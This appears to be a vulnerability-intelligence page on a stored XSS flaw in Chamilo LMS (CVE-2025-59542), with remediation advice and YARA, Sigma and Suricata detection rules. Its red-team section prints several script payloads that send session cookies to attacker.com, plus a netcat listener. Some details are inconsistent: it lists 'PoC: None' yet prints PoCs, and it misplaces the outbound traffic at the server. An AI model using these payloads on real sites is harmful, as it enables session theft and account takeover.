☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-59542

CVE-2025-59542 Cross-Site Scripting in Chamilo
📅 PUBLISHED: 2026-03-06 03:30 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Belgium License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59542 is a critical stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS, a widely used open-source learning management system. The flaw resides in the course learning path Settings field, allowing a low-privileged user (e.g., a trainer) to inject malicious JavaScript. When an administrator or any other user views the course information page, the injected script executes in their browser context. This enables session cookie exfiltration and account takeover (ATO) of higher-privileged users, including administrators. The vulnerability is patched in version 1.11.34. With a CVSS score of 9.1, this represents a critical risk to confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a trainer account.
  • User Interaction (UI): Required (R) – Victim must view the course page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): High (H) – Full session data exfiltration.
  • Integrity (I): High (H) – Attacker can perform actions as the victim.
  • Availability (A): High (H) – Potential for denial of service via admin account misuse.

Threat Level: Critical. The combination of low privileges required and high impact makes this a prime target for attackers seeking to compromise an entire LMS instance.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the course learning path Settings field. The application fails to sanitize or encode user-supplied input before storing it in the database. When the course information page is rendered, the malicious payload is injected into the HTML without proper escaping.

Attack Flow:

  1. Prerequisite: Attacker has a low-privileged trainer account.
  2. Injection: The attacker navigates to the course learning path settings and inserts a payload like <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>.
  3. Storage: The payload is stored in the database.
  4. Trigger: An administrator or any other user views the course information page.
  5. Execution: The victim's browser executes the script, sending session cookies to the attacker's server.
  6. Takeover: The attacker uses the stolen session to impersonate the administrator, gaining full control over the LMS.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.11.34):

// In course settings display
echo "<div>" . $course['learning_path_settings'] . "</div>";

The $course['learning_path_settings'] value is output directly without sanitization.

Patched Code (1.11.34):

// In course settings display
echo "<div>" . htmlspecialchars($course['learning_path_settings'], ENT_QUOTES, 'UTF-8') . "</div>";

The htmlspecialchars() function encodes HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

  • Chamilo LMS 1.11.33 (vulnerable)
  • Attacker machine with Python/Netcat
  • Victim browser (admin session)

Exploitation Steps:

  1. Log in as a trainer.
  2. Navigate to a course → Settings → Learning path.
  3. Inject the following payload into the "Learning path settings" field:
    <script>
    var img = new Image();
    img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
    </script>
    
  4. Save the settings.
  5. Set up a listener on the attacker machine:
    nc -lvnp 80
    
  6. Wait for an admin to view the course page. The cookie will be sent to the listener.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({cookie: document.cookie, url: window.location.href})
});
</script>

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for unusual course settings modifications by low-privileged users.
  2. Look for outbound connections to unknown domains from the LMS server.
  3. Analyze web server logs for requests containing <script> tags in course settings parameters.

Prevention:

  • Immediately upgrade to Chamilo 1.11.34.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Use Web Application Firewall (WAF) rules to filter XSS payloads.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains from the LMS server.
    • Suspicious GET or POST requests to /steal or similar endpoints.
  • File IOCs:
    • Log entries in apache/access.log or nginx/access.log containing <script> tags in the learning_path_settings parameter.
  • System IOCs:
    • Unexpected admin account activity (e.g., new user creation, course deletion).
    • Modified session cookies with unusual values.

Detection Engineering

YARA Rule

rule chamilo_stored_xss_cve_2025_59542 {
    meta:
        description = "Detects stored XSS payloads in Chamilo LMS course settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59542"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $course_settings = /learning_path_settings/i
    condition:
        $course_settings and $xss_payload
}

Sigma Rule

title: Chamilo LMS Stored XSS in Course Settings
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Chamilo LMS course learning path settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'learning_path_settings'
        cs-uri-query|re: '<script[^>]*>.*?<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in course settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59542 Chamilo LMS Stored XSS Attempt"; flow:to_server; content:"learning_path_settings"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Chamilo LMS to version 1.11.34 or later.
  2. Patch Workaround: If immediate upgrade is not possible, manually apply input sanitization to the learning_path_settings field using htmlspecialchars().
  3. Session Hardening: Implement HttpOnly and Secure flags on session cookies to prevent JavaScript access.
  4. CSP Implementation: Add the following HTTP header to block inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self'
    

Long-Term Measures:

  • Conduct regular security audits of custom code.
  • Implement a Web Application Firewall (WAF) with XSS filtering rules.
  • Enforce principle of least privilege for user roles (trainers should not modify course settings that affect admin views).

Valters IT
Securing Digital Ecosystems

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59542/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.